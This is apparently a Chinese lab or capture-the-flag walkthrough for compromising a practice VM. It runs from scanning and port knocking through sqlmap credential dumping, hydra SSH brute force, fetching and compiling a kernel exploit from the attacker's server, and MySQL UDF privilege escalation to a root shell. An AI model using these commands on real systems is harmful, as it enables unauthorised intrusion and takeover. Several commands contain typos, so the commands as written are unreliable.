1.确定目标
用namp -sP进行扫描
查看靶机
对网段进行深度扫描nmap -p- -sS -sV -A 192.168.80.138
-p- 扫描开放的端口号
-sS 半开连接,不进行三次握手,安全性高,使用频率高
-sV 对端口上的服务程序版本进行扫描
-A 强力扫描,耗时长
发现只对我们开放了22端口,连接查看一下
2.信息搜集
ssh连接
提示说需要对端口1,2,3各knock一次
使用knock 192.168.80.138 1 2 3 -v
端口碰撞
端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。
端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。
由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。
如何进行端口碰撞?
首先需要我们知道端口碰撞的序列,否则暴力碰撞开启的机会太小。
1)第一种方法:knock 命令
linux安装:sudo apt install knockd
使用:
knock <IP> <PORT1> <PORT2> <PORT3> <PORT4> -v
例如需要碰撞 172.16.1.1 的 3,4,7,8 端口:
knock 10.211.55.11 1 2 3 -v
2)hping3:TCP/IP数据包组装/分析工具
hping3 -S [IP地址] -p 1 -c 1
hping3 -S 10.211.55.11 -p 1 -c 1
hping3 -S 10.211.55.11 -p 2 -c 1
hping3 -S 10.211.55.11 -p 3 -c 1
----------------
-S(--syn):SYN是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN-ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。
-p --destport: 目的端口(默认为0),可同时指定多个端口
-c --count:指定数据包的次数
参考资料:https://blog.csdn.net/qq_30247635/article/details/86243448
--------------
再次对端口进行扫描
出现了1337端口的http服务
使用命令进行web扫描查看更多的页面信息
gobuster dir -u http://192.168.80.138:1337 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
gobuster
gobuster和dirb的区别
gobuster可设置的参数更多,扫描的更快
参考:https://blog.csdn.net/qq_43511094/article/details/123650788
我们访问/404.html页面
查看源码
对源码base64加密信息进行解密得到 /978345210/index.php
访问这个网址
得到一个登陆页面
从功能上分析:登录账号密码需要数据库进行验证
所以这里选用sqlmap进行爆破
sqlmap
1)爆破数据库库信息
sqlmap -u "http://192.168.80.138:1337/978345210/index.php" --forms --dbs
Optimization
-o:开启所有优化开关
--predict-output:预测常见的查询输出
--keep-alive:使用持久的HTTP(S)连接
--null-connection:从没有实际的HTTP响应体中检索页面长度
--threads=THREADS:设置请求的并发数
--forms参数,sqlmap会自动从-u中的url获取页面中的表单进行测试
2)爆破数据库表信息
sqlmap -o -u "http://192.168.80.138:1337/978345210/index.php" --forms -D Webapp --tables
3)爆破数据库表字段信息
sqlmap -o -u "http://192.168.80.138:1337/978345210/index.php" --forms -D Webapp -T Users --columns
(-D dbname指定数据库名称、-T tablename:指定某数据表的名称、--columns:列出指定表上的所有列)
4)爆破字段内容信息
sqlmap -o -u "http://192.168.80.138:1337/978345210/index.php" --forms -D Webapp -T Users --columns -C id,password,username --dump
(-D dbname:指定数据库名称、-T tablename:指定某数据表名称、-C Cnmme:指定列名、--dump:导出列里面的字段)
得到账号密码,生成字典对ssh端口进行爆破
hydra -L user -P password 192.168.80.138 ssh
登录ssh
开启kali的http服务
上传文件运行文件进行版本信息服务探查
3.利用漏洞
谷歌搜索:Ubuntu 14.04 exploit https://www.exploit-db.com/exploits/39166
searchsploit 39166 locate linux/local/39166.c cp /usr/share/exploitdb/exploits/linux/local/39166.c /root/桌面/lord
4.提权
(1)第一种:内核提权
python -m http.server 8888 wget http://192.168.80.131:8888/39166.c
gcc 39166.c -o yc chmod +x yc ./yc cd /root
(2)第二种:MySQL的UDF提权
账号密码爆破完成,进入靶机操作系统
1.先查看MySQL版本权限
dpkg -l | grep mysql --查看历史安装包版本
5.5.44
2.查看MySQL运行权限是不是root权限
ps aux |grep root --MySQL进程信息
是root权限
3.寻找MySQL账号密码
find / -name login.*
发现:/var/www/978345210/login.php
使用cat命令对文件进行抓取
cat /var/www/978345210/login.php
得到数据库账号密码 root darkshadow
4.登录数据库
mysql -uroot -pdarkshadow
5.查看是否满足写入条件
show global variables like 'secure%';
发现secure_file_priv为空,可写入文件路径权限,可以使用UDF提权
5.查看插件目录
show variables like '%plugin%';
6.查看能不能远程登陆
use mysql;
select user,host from user;
只能在本地登录,不能使用mdf
7.上传文件
kali机搜索下载漏洞文件
locate lib_mysqludf_sys
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so /home/kali
mv lib_mysqludf_sys_32.so yc.so
开启http服务
靶机下载漏洞文件
cd /tmp
wget http://192.168.80.131:8888/yc.so
8.创建一个表
create table yc(yc longblob);
9.插入数据文件
insert into yc values(load_file('/tmp/yc.so'));
10.新建一个函数
select*from yc into dumpfile'/use/lib/mysql/plugin/yc.so';
create funtion sys_exec returns string soname 'yc.so';
11.查看函数
elect*from mysql.func;
12.调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select sys_exec('chmod u+s /usr/bin/find');
13.退出mysql
quit
14.运行函数
find yc -exec "/bin/sh" \;
或者:find yc -exec "id" \;
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)